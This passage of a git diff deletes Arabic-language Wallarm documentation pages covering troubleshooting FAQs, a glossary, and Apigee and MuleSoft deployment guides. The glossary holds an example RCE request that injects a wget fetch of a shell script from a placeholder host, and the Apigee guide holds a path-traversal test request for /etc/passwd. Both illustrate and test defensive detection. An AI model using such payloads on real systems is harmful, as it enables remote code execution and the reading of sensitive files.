-* سجلات من دليل `/var/log/syslog` أو `/var/log/messages` (حسب خيار النشر) لتقديم تفاصيل إضافية حول مشكلة التزامن \ No newline at end of file diff --git a/docs/latest-ar/faq/tarantool.md b/docs/latest-ar/faq/tarantool.md deleted file mode 100644 index 70196b98b3..0000000000 --- a/docs/latest-ar/faq/tarantool.md +++ /dev/null @@ -1,45 +0,0 @@ -# استكشاف الأخطاء وإصلاحها في تارانتول - -تقدم الأقسام أدناه المعلومات حول الأخطاء الشائعة في تشغيل تارانتول وكيفية تصحيحها. - -## كيف يمكنني حل مشكلة "وصول إلى الحد الأقصى للقراءة التمهيدية"؟ - -في ملف `/var/log/wallarm/tarantool.log` أو `/opt/wallarm/var/log/wallarm/tarantool-out.log` [اعتمادًا على طريقة تثبيت العقدة](../admin-en/configure-logging.md)، قد تواجه أخطاء مثل: - -``` -readahead limit reached, stopping input on connection fd 16, -aka 127.0.0.1:3313, peer of 127.0.0.1:53218 -``` - -هذه المشكلة ليست حرجة، لكن كثرة مثل هذه الأخطاء قد تقلل من أداء الخدمة. - -لحل المشكلة: - -1. انتقل إلى مجلد `/usr/share/wallarm-tarantool/init.lua` → ملف `box.cfg`. -1. ضع أحد الخيار التالية: - * `readahead = 1*1024*1024` - * `readahead = 8*1024*1024` - -يحدد المعلم `readahead` حجم الذاكرة العازلة المسبقة القراءة المرتبطة باتصال عميل. كلما زاد الحجم، زادت الذاكرة التي يستهلكها اتصال نشط وزادت الطلبات التي يمكن قراءتها من ذاكرة نظام التشغيل في استدعاء نظام واحد. اطّلع على مزيد من التفاصيل في [التوثيق](https://www.tarantool.io/en/doc/latest/reference/configuration/#cfg-networking-readahead) الخاص بتارانتول. - -## كيف يمكنني حل مشكلة "وصول إلى الحد الأقصى لـ net_msg_max"؟ - -في ملف `/var/log/wallarm/tarantool.log` أو `/opt/wallarm/var/log/wallarm/tarantool-out.log` [اعتمادًا على طريقة تثبيت العقدة](../admin-en/configure-logging.md)، قد تواجه أخطاء مثل: - -``` -2020-02-18 12:22:17.420 [26620] iproto iproto.cc:562 W> stopping input on connection fd 21, -aka 127.0.0.1:3313, peer of 127.0.0.1:44306, net_msg_max limit is reached -``` - -لحل المشكلة، زد قيمة `net_msg_max` (القيمة الافتراضية `768`): - -1. انتقل إلى مجلد `/usr/share/wallarm-tarantool/init.lua` → ملف `box.cfg`. -1. زد قيمة `net_msg_max`، على سبيل المثال: - - ``` - box.cfg { - net_msg_max = 6000 - } - ``` - -لمنع تأثير تكلفة الألياف على النظام بأكمله، يقيد المعلم `net_msg_max` عدد الرسائل التي تعالجها الألياف. اقرأ التفاصيل حول استخدام `net_msg_max` في [التوثيق](https://www.tarantool.io/en/doc/latest/reference/configuration/#cfg-networking-net-msg-max) الخاص بتارانتول. \ No newline at end of file diff --git a/docs/latest-ar/faq/wallarm-cloud-down.md b/docs/latest-ar/faq/wallarm-cloud-down.md deleted file mode 100644 index 435299ee8f..0000000000 --- a/docs/latest-ar/faq/wallarm-cloud-down.md +++ /dev/null @@ -1,86 +0,0 @@ -# عند تعطل Wallarm Cloud - -عند تعطل Wallarm Cloud، تستمر عُقد Wallarm في التخفيف من الهجمات مع بعض القيود. لمعرفة المزيد، استخدم هذا الدليل لتحري الخلل وإصلاحه. - -## كيف تعمل عُقدة Wallarm إذا تعطل Wallarm Cloud؟ - -Wallarm Cloud هي خدمة مستقرة وقابلة للتوسّع بشكل كبير. علاوة على ذلك، يتم حماية جميع بيانات حساب شركتك بواسطة [النسخ الاحتياطية](#how-does-wallarm-protect-its-cloud-data-from-loss). - -ومع ذلك، إذا تعطل Wallarm Cloud بشكل مؤقت في حالات نادرة (على سبيل المثال، أثناء التوقف للصيانة)، تستمر عُقدة Wallarm في العمل ولكن مع بعض القيود. - -!!! معلومات "فحص حالة Wallarm Cloud" - لفحص حالة Wallarm Cloud، قم بزيارة [status.wallarm.com](https://status.wallarm.com/). للبقاء على اطلاع، اشترك في التحديثات. - -ما يستمر في العمل: - -* معالجة الحركة في الوضع [الذي تم تكوينه](../admin-en/configure-wallarm-mode.md#available-filtration-modes) باستخدام القواعد التي تم تحميلها إلى العقدة خلال آخر عملية [مزامنة](../admin-en/configure-cloud-node-synchronization-en.md) ناجحة بين السحابة والعقدة. يمكن أن تستمر العقدة في العمل حيث تم تحميل أحدث نسخ من العناصر التالية من السحابة وفقًا للجدول الزمني وتخزينها محليًا على العقدة: - - * [مجموعة القواعد المخصصة](../user-guides/rules/rules.md#ruleset-lifecycle) - * [proton.db](../about-wallarm/protecting-against-attacks.md#library-libproton) - -* يتم أيضًا تحميل [قوائم الـIP](../user-guides/ip-lists/overview.md) إلى العقدة وتخزينها داخلها. ستستمر العناوين المُحمّلة في التعامل معها ولكن فقط حتى تاريخ/وقت انتهاء الصلاحية. - - لن يتم تحديث هذه التواريخ/الأوقات حتى يتم استعادة السحابة ومزامنتها؛ ولن تكون هناك عناوين جديدة/محذوفة حتى استعادة السحابة/المزامنة. - - لاحظ أن انتهاء صلاحية بعض عناوين الـIP في القوائم يؤدي إلى التوقف عن حماية من [هجمات القوة الغاشمة](../admin-en/configuration-guides/protecting-against-bruteforce.md) المتعلقة بهذه العناوين. - -ما يتوقف عن العمل: - -* تجمع العقدة البيانات ولكن لا يمكنها إرسال البيانات حول الهجمات والثغرات الأمنية المكتشفة إلى السحابة. لاحظ أن وحدة [postanalytics](../admin-en/installation-postanalytics-en.md) لعقدتك لديها تخزين في الذاكرة (Tarantool) حيث يتم تخزين البيانات المجمعة مؤقتًا قبل إرسالها إلى السحابة. بمجرد استعادة السحابة، سيتم إرسال البيانات المخزنة مؤقتًا إليها. - - !!! تحذير "قيود تخزين الذاكرة للعقدة" - حجم الذاكرة المؤقتة [محدود](../admin-en/configuration-guides/allocate-resources-for-node.md#tarantool) وعند تجاوزه، يتم حذف البيانات الأقدم. لذا، قد يؤدي مقدار الوقت الذي كانت السحابة فيه معطلة وكمية المعلومات التي تم جمعها خلال هذا الوقت إلى حالة عندما تحصل في وحدة تحكم Wallarm على بعض البيانات فقط بعد استعادة السحابة. - -* تجمع العقدة البيانات ولكن لا يمكنها إرسال [المقاييس](../admin-en/configure-statistics-service.md) للحركة المعالجة إلى السحابة. -* سيتوقف الفحص لـ[الأصول المعرضة](../user-guides/scanner.md) و[الثغرات الأمنية النموذجية](../user-guides/vulnerabilities.md). -* سيتوقف عمل [المشغلات](../user-guides/triggers/triggers.md) وبالتالي: - * ستتوقف [قوائم الـIP](../user-guides/ip-lists/overview.md) عن التحديث. - * لن تظهر [إشعارات المشغلات](../user-guides/triggers/triggers.md). -* لن يعمل [اكتشاف جرد API](../api-discovery/overview.md). -* سيتوقف [التحقق من التهديدات النشطة](../about-wallarm/detecting-vulnerabilities.md#active-threat-verification). -* لن يتم الكشف عن [هجمات القوة الغاشمة](../admin-en/configuration-guides/protecting-against-bruteforce.md). -* ستتوقف التكاملات، بما في ذلك: - * لن تظهر الإشعارات الفورية وإشعارات البريد الإلكتروني [الإشعارات](../user-guides/settings/integrations/integrations-intro.md). - * سيتوقف إعداد التقارير. -* لا يوجد وصول إلى وحدة تحكم Wallarm. -* لن يستجيب [API Wallarm](../api/overview.md). - -لاحظ أنه بجانب الحالة الكاملة لتوقف المذكورة أعلاه، أحيانًا قد تكون خدمات معينة مؤقتًا غير متاحة، بينما تستمر الخدمات الأخرى في العمل. إذا كان الأمر كذلك، ستوفر لك خدمة [status.wallarm.com](https://status.wallarm.com/) المعلومات المقابلة. - -## ماذا يحدث بعد استعادة السحابة؟ - -بعد استعادة السحابة: - -* يتم استعادة الوصول إلى وحدة تحكم Wallarm. -* ترسل العقدة المعلومات المخزنة مؤقتًا إلى السحابة (ضع في اعتبارك القيود المذكورة أعلاه). -* تتفاعل المشغلات مع البيانات الجديدة بإرسال الإشعارات وتحديث IPs. -* إذا كانت هناك أي تغييرات في IPs، يتم إرسالها إلى العقدة أثناء المزامنة التالية. -* إذا كان هناك [بناء مجموعة قواعد مخصصة](#is-there-a-case-when-node-did-not-get-settings-saved-in-wallarm-console-before-wallarm-cloud-is-down) غير مكتمل، يتم إعادة بدء العملية. -* تتزامن السحابة وعقدة التصفية وفقًا للجدول الزمني بالطريقة العادية. - -## هل يوجد حالة لم تحصل فيها العقدة على الإعدادات المحفوظة في وحدة تحكم Wallarm قبل تعطل Wallarm Cloud؟ - -نعم، هذا ممكن. على سبيل المثال، لنفترض أن الفاصل الزمني للـ[مزامنة](../admin-en/configure-cloud-node-synchronization-en.md) هو 3 دقائق و: - -1. تم الانتهاء من آخر بناء لمجموعة القواعد المخصصة على السحابة قبل 21 دقيقة وتم تحميلها إلى العقدة قبل 20 دقيقة. -2. خلال 6 مزامنات التالية لم يتم أخذ أي شيء من السحابة لأنه لم يكن هناك جديد. -3. ثم تم تغيير القواعد على السحابة وبدأ بناء جديد - البناء يحتاج إلى 4 دقائق لينتهي ولكن في غضون دقيقتين تعطلت السحابة. -4. العقدة تأخذ فقط البناء المكتمل، لذلك خلال دقيقتين المزامنات لن تعطي شيئًا ليتم تحميله إلى العقدة. -5. بعد دقيقة إضافية، تأتي العقدة بطلب مزامنة جديد لكن السحابة لا تستجيب. -6. ستواصل العقدة التصفية وفقًا لمجموعة القواعد المخصصة ذات عمر 24 دقيقة وسيزداد هذا العمر بينما السحابة في حالة توقف. - -## كيف تحمي Wallarm بيانات سحابتها من الضياع؟ - -تحفظ Wallarm Cloud **جميع البيانات** التي يوفرها المستخدم في وحدة تحكم Wallarm والمحملة إليها من العقد. كما ذُكر أعلاه، تعتبر حالة توقف Wallarm Cloud مؤقتًا حالة نادرة جدًا. ولكن إذا حدث هذا، فإن الاحتمال ضئيل جدًا أن تؤثر حالة التوقف هذه على البيانات المحفوظة. هذا يعني أنه بعد الاستعادة، ستواصل العمل على الفور مع جميع بياناتك. - -للتعامل مع الاحتمال الضئيل أن يتم تدمير الأقراص الصلبة التي تخزن البيانات الفعلية لـWallarm Cloud، تقوم Wallarm تلقائيًا بإنشاء نسخ احتياطية واستعادتها منها عند الضرورة: - -* RPO: يتم إنشاء النسخة الاحتياطية كل 24 ساعة -* RTO: ستكون النظام متاحًا مرة أخرى في غضون 48 ساعة كحد أقصى -* يتم تخزين آخر 14 نسخة احتياطية - -!!! معلومات "معايير حماية وتوافر RPO/RTO" - * **RPO (هدف نقطة الاسترداد)** يُستخدم لتحديد تكرار نسخ البيانات احتياطيًا: يحدد الحد الأقصى للوقت الذي يمكن أن تُفقد فيه البيانات. - * **RTO (هدف وقت الاسترداد)** هو كمية الوقت الفعلي التي يجب على العمل أن يستعيد عملياته في مستوى خدمة مقبول بعد كارثة لتجنب العواقب غير المقبولة المرتبطة بالانقطاع. - -لمزيد من المعلومات حول خطة استرداد الكوارث (DR) لـWallarm وخصائصها الخاصة بشركتك، [تواصل مع دعم Wallarm](mailto:support@wallarm.com). \ No newline at end of file diff --git a/docs/latest-ar/faq/wallarm-status-page.md b/docs/latest-ar/faq/wallarm-status-page.md deleted file mode 100644 index c08ece20ed..0000000000 --- a/docs/latest-ar/faq/wallarm-status-page.md +++ /dev/null @@ -1,33 +0,0 @@ -# صفحة حالة خدمة Wallarm - -يحتوي هذا الدليل على تفاصيل حول صفحة حالة خدمة Wallarm. - -## هل تمتلك Wallarm صفحة تعرض حالة توفر خدمة Wallarm؟ - -نعم، صفحة حالة Wallarm متاحة على https://status.wallarm.com. تُعرض الصفحة البيانات الحية والتاريخية حول توفر خدمات وحدة تحكم Wallarm وخدمات API الخاصة بـWallarm لكل سحابة Wallarm: - -* **سحابة Wallarm الأمريكية** -* **سحابة Wallarm الأوروبية** - -![صفحة حالة Wallarm](../images/status-page.png) - -## هل سأتلقى إشعارًا عندما يتغير حالة الخدمة؟ - -نعم، إذا كنت مشتركًا في التحديثات. للاشتراك، الرجاء النقر على **الاشتراك في التحديثات** واختيار قناة الاشتراك: - -* **البريد الإلكتروني** لتلقي إشعارات عندما تقوم Wallarm بإنشاء حادث، أو تحديثه، أو حله. -* **الرسائل النصية القصيرة SMS** لتلقي إشعارات عندما تقوم Wallarm بإنشاء حادث أو حله. -* **Slack** لتلقي تحديثات الحوادث ورسائل حالة الصيانة. -* **Webhook** لتلقي إشعارات عندما تقوم Wallarm بإنشاء حادث، أو تحديث حادث، أو حل حادث، أو تغيير حالة خدمة. - -## ماذا تعني حالات الخدمات؟ - -* **أداء متدهور** يعني أن الخدمة تعمل ولكن ببطء أو متأثرة بشكل طفيف بطريقة أخرى. -* **انقطاع جزئي** يعني أن الخدمات معطلة تمامًا لمجموعة فرعية من العملاء. -* **انقطاع كبير** يعني أن الخدمات غير متاحة بالكامل. - -## متى يتم إنشاء حادث؟ - -يتم إنشاء الحوادث عندما تواجه الخدمات انقطاع. خلال حدث متعلق بانقطاع، نضيف صفحة تصف المشكلة، ما نقوم به حيال ذلك، ومتى نتوقع أن يتم إصلاح المشكلة. - -مع مرور الوقت، يتم تحديد سبب الحادث، ثم يتم إصلاح الحادث المحدد، ويتم تحديث حالة الحادث لتعكس الحالة الحالية. \ No newline at end of file diff --git a/docs/latest-ar/faq/wrong-blocking.md b/docs/latest-ar/faq/wrong-blocking.md deleted file mode 100644 index d6480cefa1..0000000000 --- a/docs/latest-ar/faq/wrong-blocking.md +++ /dev/null @@ -1,32 +0,0 @@ -# يتم حظر الطلب المشروع - -إذا أبلغ المستخدم عن حظر طلب مشروع رغم إجراءات Wallarm، يمكنك مراجعةوتقييم طلباتهم كما توضح هذه المقالة. - -لحل مشكلة حظر طلب مشروع بواسطة Wallarm، اتبع الخطوات التالية: - -1. اطلب من المستخدم أن يُوفر **كنص** (وليس لقطة شاشة) المعلومات المتعلقة بالطلب المحظور، والتي قد تكون أحد العناصر التالية: - - * المعلومات الموفرة بواسطة [صفحة الحظر](../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page) من Wallarm إذا تم تكوينها (قد تشمل عنوان IP للمُستخدم، UUID الطلب وعناصر مُعدة مسبقًا أخرى). - - ![صفحة الحظر من Wallarm](../images/configuration-guides/blocking-page-provided-by-wallarm-36.png) - - !!! تحذير "استخدام صفحة الحظر" - إذا لم تستخدم صفحة الحظر الافتراضية أو المُخصصة من Wallarm، يُنصح بشدة بـ[تكوينها](../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page) للحصول على المعلومات المناسبة من المستخدم. تذكر أن حتى صفحة العينة تجمعوتسمح بنسخ سهل للمعلومات ذات الصلة بالطلب المحظور. بالإضافة إلى ذلك، يمكنك تخصيص أو إعادة بناء مثل هذه الصفحة لإرجاع رسالة الحظر المعلوماتية للمستخدمين. - - * نسخة من طلب العميل والاستجابة. يناسب كود مصدر صفحة المتصفح أو إدخال وخروج العميل النصي في الطرفية جيدًا. - -1. في وحدة تحكم Wallarm → قسم [**الهجمات**](../user-guides/events/check-attack.md) أو [**الحوادث**](../user-guides/events/check-incident.md)، [ابحث](../user-guides/search-and-filters/use-search.md) عن الحدث المتعلق بالطلب المحظور. على سبيل المثال، [البحث بواسطة معرف الطلب](../user-guides/search-and-filters/use-search.md#search-by-request-identifier): - - ``` - attacks incidents request_id: - ``` - -1. فحص الحدث لتحديد إذا كان يشير إلى حظر خاطئ أو مشروع. -1. إذا كان الحظر خاطئًا، حل المشكلة بتطبيق إجراء أو مجموعة من الإجراءات: - - * إجراءات ضد [الإيجابيات الكاذبة](../user-guides/events/false-attack.md) - * إعادة تكوين [القواعد](../user-guides/rules/rules.md) - * إعادة تكوين [المشغلات](../user-guides/triggers/triggers.md) - * تعديل [قوائم الـIP](../user-guides/ip-lists/overview.md) - -1. إذا كانت المعلومات التي وفرها المستخدم في البداية غير كاملة أو كنت غير متأكد من الإجراءات التي يمكن تطبيقها بأمان، شارك التفاصيل مع [دعم Wallarm](mailto:support@wallarm.com) لمزيد من المساعدة والتحقيق. \ No newline at end of file diff --git a/docs/latest-ar/glossary-en.md b/docs/latest-ar/glossary-en.md deleted file mode 100644 index 082fae5c2f..0000000000 --- a/docs/latest-ar/glossary-en.md +++ /dev/null @@ -1,106 +0,0 @@ -# المعجم - -يغطي المعجم الكيانات الأساسية لـ Wallarm لتوفير فهم أفضل للمنصة. - -## الضربة - -الضربة هي طلب ضار مُتسلسل (الطلب الضار الأصلي والبيانات الوصفية المضافة بواسطة عقدة التصفية)، مثل: - -![مثال على ضربة](images/user-guides/events/analyze-attack-raw.png) - -[تفاصيل عن معلمات الضربة](user-guides/events/analyze-attack.md#analyze-requests-in-an-event) - -## الهجوم - -الهجوم هو ضربة واحدة أو عدة ضربات مجمعة حسب الخصائص التالية: - -* نفس نوع الهجوم، المعامل الذي يحتوي الحمولة الضارة، والعنوان الذي تم إرسال الضربات إليه. قد تأتي الضربات من نفس العناوين IP أو من عناوين مختلفة وتحتوي على قيم مختلفة للحمولات الضارة ضمن نوع هجوم واحد. - - طريقة تجميع الضربات هذه أساسية وتطبق على جميع الضربات. - -* نفس عنوان IP المصدر إذا تم تفعيل [تجميع الضربات حسب عنوان IP المصدر](user-guides/events/analyze-attack.md#grouping-of-hits). قد تختلف قيم معلمات الضربات الأخرى. - - طريقة تجميع الضربات هذه تعمل لجميع الضربات عدا تلك التي تنتمي إلى أنواع الهجوم Brute force، Forced browsing، BOLA (IDOR)، Resource overlimit، Data bomb وVirtual patch. - - إذا تم تجميع الضربات بهذه الطريقة، فإن زر [**وسم كإيجابية كاذبة**](user-guides/events/false-attack.md#mark-an-attack-as-a-false-positive) وخيار [التحقق النشط](about-wallarm/detecting-vulnerabilities.md#active-threat-verification) غير متاحين للهجوم. - -طرق تجميع الضربات المذكورة لا تستبعد بعضها البعض. إذا كانت الضربات تحمل خصائص كلتا الطريقتين، فإنها جميعًا تُجمّع في هجوم واحد. - -مثال على هجوم يتضمن ضربة واحدة: - -![هجوم بضربة واحدة](images/glossary/attack-with-one-hit-example.png) - -مثال على هجوم يتضمن العديد من الضربات: - -![هجوم بعدة ضربات](images/glossary/attack-with-several-hits-example.png) - -## الحمولة الضارة - -جزء من الطلب الأصلي يحتوي على العناصر التالية: - -* علامات الهجوم المكتشفة في طلب. إذا تم اكتشاف علامات هجوم عدة تعبر عن نفس نوع الهجوم في طلب، سيتم تسجيل العلامة الأولى فقط في الحمولة. -* سياق علامة الهجوم. السياق هو مجموعة من الرموز التي تسبق وتغلق علامات الهجوم المكتشفة. نظرًا لأن طول الحمولة محدود، يمكن حذف السياق إذا كانت علامة الهجوم بطول الحمولة كاملة. - -على سبيل المثال: - -* الطلب: - - ```bash - curl localhost/?23036d6ba7=%3Bwget+http%3A%2F%2Fsome_host%2Fsh311.sh - ``` -* الحمولة الضارة: - - ```bash - ;wget+http://s - ``` - - في هذه الحمولة، `;wget+` هي علامة الهجوم [RCE](attacks-vulns-list.md#remote-code-execution-rce) والجزء الآخر من الحمولة هو سياق علامة الهجوم. - -نظرًا لأن علامات الهجوم لا تُستخدم لاكتشاف [الهجمات السلوكية](about-wallarm/protecting-against-attacks.md#behavioral-attacks)، فإن الطلبات المرسلة جزءًا من الهجمات السلوكية لها حمولات فارغة. - -## الثغرة الأمنية -الثغرة الأمنية هي خطأ يحدث بسبب الإهمال أو عدم كفاية المعلومات عند بناء أو تنفيذ تطبيق ويب يمكن أن يؤدي إلى مخاطر أمن المعلومات. - -مخاطر أمن المعلومات هي: - -* الوصول غير المصرح به إلى البيانات؛ مثل، الوصول لقراءة وتعديل بيانات المستخدم. -* رفض الخدمة. -* تلف البيانات وغيرها. - -يمكن استخدام حركة المرور على الإنترنت لاكتشاف الثغرات الأمنية، وهو ما تقوم به Wallarm، من بين وظائف أخرى. - -## الحادث الأمني - -الحادث الأمني هو وقوع استغلال لثغرة. الحادث هو [هجوم](#attack) موجه نحو ثغرة مؤكدة. - -الحادث، مثل الهجوم، هو كيان خارجي عن نظامك وهو خاصية الإنترنت الخارجي، لا النظام نفسه. على الرغم من أن الهجمات الموجهة نحو الثغرات الموجودة هي أقلية، إلا أنها تمثل أقصى أهمية من حيث أمن المعلومات. تكتشف Wallarm تلقائيًا الهجمات الموجهة نحو الثغرات الموجودة وتعرضها ككائن منفصل - حادث. - -## الذاكرة المؤقتة الدائرية -الذاكرة المؤقتة الدائرية هي بنية بيانات تستخدم ذاكرة ثابتة الحجم واحدة كأنها متصلة من نهاية إلى نهاية. -[انظر ويكيبيديا](https://en.wikipedia.org/wiki/Circular_buffer). - -## مجموعة القواعد الخاصة (المصطلح السابق LOM) - -مجموعة القواعد الخاصة هي مجموعة من قواعد الأمان المترجمة التي يقوم عقد Wallarm بتنزيلها من سحابة Wallarm. - -تتيح لك القواعد الخاصة إعداد قواعد فردية لمعالجة الحركة، مثل: - -* إخفاء البيانات الحساسة قبل الرفع إلى سحابة Wallarm -* إنشاء مؤشرات هجومية بناءً على regexp -* تطبيق تصحيح افتراضي يحجب الطلبات التي تستغل ثغرة نشطة -* تعطيل اكتشاف الهجوم في طلبات معينة، إلخ. - -مجموعة القواعد الخاصة ليست فارغة بشكل افتراضي، فهي تحتوي على القواعد المُنشأة لجميع العملاء المُسجلين في السحابة، مثل قاعدة وضع التصفية بالقيمة من علامة التبويب [**Settings → General**](admin-en/configure-wallarm-mode.md#setting-up-the-general-filtration-rule-in-wallarm-console). - -[المزيد من التفاصيل حول مجموعات القواعد الخاصة](user-guides/rules/rules.md) - -## الطلب الغير صالح -طلب تم فحصه بواسطة عقدة التصفية ولا يتطابق مع قواعد LOM. - -## الوكيل العكسي -الوكيل العكسي هو نوع من خوادم الوكيل التي تسترد الموارد نيابةً عن العميل من خادم وتعيد الموارد إلى العميل كما لو أنها نشأت من خادم الويب نفسه. -[انظر ويكيبيديا](https://en.wikipedia.org/wiki/Reverse_proxy). - -## سلطة الشهادة -سلطة الشهادة هي كيان يصدر شهادات رقمية. -[انظر ويكيبيديا](https://en.wikipedia.org/wiki/Certificate_authority). \ No newline at end of file diff --git a/docs/latest-ar/installation/api-gateways/apigee.md b/docs/latest-ar/installation/api-gateways/apigee.md deleted file mode 100644 index 9da39e6414..0000000000 --- a/docs/latest-ar/installation/api-gateways/apigee.md +++ /dev/null @@ -1,108 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart-sqli-xss.png - -# Apigee Edge مع حزمة Wallarm Proxy - -[Apigee Edge](https://docs.apigee.com/api-platform/get-started/what-apigee-edge) هو منصة إدارة API مع بوابة API تعمل كنقطة دخول لتطبيقات العميل للوصول إلى APIs. لزيادة أمان API في Apigee، يمكنك دمج حزمة Wallarm proxy كما هو موضح في هذا المقال. - -تشمل الحل نشر عقدة Wallarm من الخارج وإدخال شيفرة مخصصة أو سياسات في المنصة المحددة. هذا يتيح توجيه الحركة إلى عقدة Wallarm الخارجية للتحليل والحماية ضد التهديدات المحتملة. تُعرف بموصلات Wallarm، وهي تعمل كحلقة وصل أساسية بين منصات مثل Azion Edge، Akamai Edge، MuleSoft، Apigee، و AWS Lambda، وعقدة Wallarm الخارجية. هذه الطريقة تضمن الاندماج السلس، تحليل حركة الزيارات المأمونة، تخفيف المخاطر، وأمان النظام الشامل. - -## حالات الاستخدام - -من بين جميع [خيارات نشر Wallarm المدعومة](../supported-deployment-options.md)، تعتبر هذه الحل الأنسب للحالات التالية: - -* تأمين APIs المنشرة على منصة Apigee بواسطة وكيلAPI واحد فقط. -* الحاجة إلى حل أمني يقدم مراقبة شاملة للهجمات، التقارير، والحظر الفوري للطلبات الضارة. - -## القيود - -لهذا الحل بعض القيود حيث يعمل فقط مع الطلبات الواردة: - -* لا يعمل اكتشاف الثغرات الأمنية باستخدام طريقة [الكشف السلبي](../../about-wallarm/detecting-vulnerabilities.md#passive-detection) بشكل صحيح. يحدد الحل ما إذا كان API عرضة للخطر أم لا استنادًا إلى ردود الخادم على الطلبات الضارة التي تكون نموذجية للثغرات التي يختبرها. -* لا يمكن لـ[اكتشاف Wallarm API](../../api-discovery/overview.md) استكشاف جرد الـAPI بناءً على حركة الزيارات لديك، حيث يعتمد الحل على تحليل الردود. -* [الحماية ضد التصفح القسري](../../admin-en/configuration-guides/protecting-against-bruteforce.md) غير متوفرة نظرًا لأنها تتطلب تحليل أكواد الرد. - -## المتطلبات - -للمتابعة مع النشر، تأكد من تحقيق المتطلبات التالية: - -* فهم منصة Apigee. -* تشغيل APIs الخاصة بك على Apigee. - -## النشر - -لتأمين APIs على منصة Apigee، اتبع الخطوات التالية: - -1. نشر عقدة Wallarm على نموذج GCP. -1. الحصول على حزمة Wallarm proxy وتحميلها إلى Apigee. - -### 1. نشر عقدة Wallarm - -عند استخدام Wallarm proxy على Apigee، تعمل حركة الزيارات [عبر الإنترنت](../inline/overview.md). لذلك، اختر أحد مكونات نشر عقدة Wallarm المدعومة للنشر في الخط على منصة Google Cloud Platform: - -* [صورة الآلة GCP](../packages/gcp-machine-image.md) -* [Google Compute Engine (GCE)](../cloud-platforms/gcp/docker-container.md) - -اضبط العقدة المنشورة باستخدام القالب التالي: - -``` -server { - listen 80 default_server; - listen [::]:80 default_server; - - server_name _; - - access_log off; - wallarm_mode off; - - location / { - proxy_set_header Host $http_x_forwarded_host; - proxy_pass http://unix:/tmp/wallarm-nginx.sock; - } -} - -server { - listen unix:/tmp/wallarm-nginx.sock; - - server_name _; - - wallarm_mode block; - real_ip_header X-LAMBDA-REAL-IP; - set_real_ip_from unix:; - - location / { - echo_read_request_body; - } -} -``` - -بعد الانتهاء من النشر، خذ ملاحظة عنوان IP لمثيل العقدة حيث سيكون ضروريًا لتكوين توجيه الطلبات الواردة. يرجى ملاحظة أنه يمكن أن يكون العنوان الداخلي؛ ليس هناك حاجة لأن يكون خارجيًا. - -### 2. الحصول على حزمة Wallarm proxy وتحميلها إلى Apigee - -تشمل الاندماج إنشاء وكيل API على Apigee سيوجه الحركة المشروعة إلى APIs الخاصة بك. اتبع هذه الخطوات للحصول على حزمة Wallarm و[استخدام](https://docs.apigee.com/api-platform/fundamentals/build-simple-api-proxy)ها لوكيلAPI على Apigee: - -1. الاتصال بـ[support@wallarm.com](mailto:support@wallarm.com) للحصول على حزمة Wallarm proxy لـ Apigee. -1. في واجهة Apigee Edge، انتقل إلى **Develop** → **API Proxies** → **+Proxy** → **Upload proxy bundle**. -1. حمّل الحزمة التي قدمها فريق دعم Wallarm. -1. افتح ملف التكوين المستورد وحدد [عنوان IP لمثيل عقدة Wallarm](#1-deploy-a-wallarm-node) في `prewall.js` و `postwall.js`. -1. احفظ التكوين ونشره. - -## الاختبار - -للاختبار وظيفة السياسة المنشورة، اتبع الخطوات التالية: - -1. إرسال الطلب مع هجوم [Path Traversal][ptrav-attack-docs] لاختبار إلى API الخاص بك: - - ``` - curl http:///etc/passwd - ``` -1. افتح وحدة التحكم Wallarm→ قسم **Attacks** في [السحابة الأمريكية](https://us1.my.wallarm.com/attacks) أو [السحابة الأوروبية](https://my.wallarm.com/attacks) وتأكد من ظهور الهجوم في القائمة. - - ![الهجمات في الواجهة][attacks-in-ui-image] - - إذا كان وضع عقدة Wallarm مضبوط على الحظر، سيتم حظر الطلب أيضًا. - -## هل تحتاج إلى مساعدة؟ - -إذا واجهت أي مشاكل أو تحتاج إلى مساعدة مع النشر الموصوف لـ Wallarm بالتزامن مع Apigee، يمكنك التواصل مع فريق [دعم Wallarm](mailto:support@wallarm.com). هم متوفرون لتقديم التوجيه والمساعدة في حل أي مشاكل قد تواجهها خلال عملية التنفيذ. \ No newline at end of file diff --git a/docs/latest-ar/installation/api-gateways/mulesoft.md b/docs/latest-ar/installation/api-gateways/mulesoft.md deleted file mode 100644 index ebf8ebe2e0..0000000000 --- a/docs/latest-ar/installation/api-gateways/mulesoft.md +++ /dev/null @@ -1,217 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart-sqli-xss.png - -# MuleSoft مع سياسة Wallarm - -[MuleSoft] (https://www.mulesoft.com/) هي منصة تكامل تتيح التواصل المتكامل وتكامل البيانات بين الخدمات مع بوابة API تعمل كنقطة دخول للتطبيقات العميلة للوصول إلى الواجهات البرمجية. باستخدام Wallarm، يمكنك تأمين الواجهات البرمجية (APIs) على منصة MuleSoft Anypoint باستخدام سياسة Wallarm. هذه المقالة تشرح كيفية إرفاق السياسة واستخدامها. - -تدعم سياسة Wallarm لـ MuleSoft كلاً من الحالتين [in-line](../inline/overview.md) و [out-of-band](../oob/overview.md). الرسوم البيانية أدناه توضح تدفق المرور للواجهات البرمجية (APIs) على منصة MuleSoft Anypoint مع تطبيق سياسة Wallarm. - -=== "تدفق المرور بشكل متصل" - - إذا تم تكوين Wallarm لمنع النشاط الخبيث: - - ![MuleSoft مع سياسة Wallarm](../../images/waf-installation/gateways/mulesoft/traffic-flow-mule-gateway-inline.png) -=== "تدفق المرور خارج الأشرطة" - ![MuleSoft مع سياسة Wallarm](../../images/waf-installation/gateways/mulesoft/traffic-flow-oob.png) - -الحل يتضمن إطلاق العقدة Wallarm خارجيًا وحقن الشفرة البرمجية الخاصة أو السياسات في النظام الأساسي المحدد. هذا يتيح توجيه حركة المرور إلى العقدة الخارجية Wallarm للتحليل والحماية ضد التهديدات المحتملة. يشار إلى هذا الأسلوب باسم موصلات Wallarm، حيث يعملون كرابط أساسي بين الأنظمة الأساسية مثل Azion Edge و Akamai Edge و MuleSoft و Apigee و AWS Lambda، والعقدة الخارجية Wallarm. تضمن هذه الطريقة التكامل السلس، وتحليل حركة المرور الآمن، وتقليل المخاطر، والأمان الشامل للمنصة. - -## الاستخدامات المقترحة - -من بين جميع خيارات نشر Wallarm المعتمدة (../supported-deployment-options.md)، يُنصح بهذا الحل للحالات الاستخدام التالية: - -* تأمين الواجهات 